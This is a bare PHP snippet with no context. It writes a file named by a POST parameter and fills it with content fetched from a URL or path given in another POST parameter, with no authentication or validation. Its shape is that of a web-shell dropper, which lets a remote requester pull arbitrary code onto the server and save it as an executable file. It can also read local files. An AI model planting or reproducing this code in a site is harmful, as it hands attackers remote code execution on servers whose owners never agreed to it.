if(!empty($_POST['a'])) {
$f = fopen('./'.$_POST['b'], 'w');
fwrite($f, file_get_contents($_POST['a']));
fclose($f);
}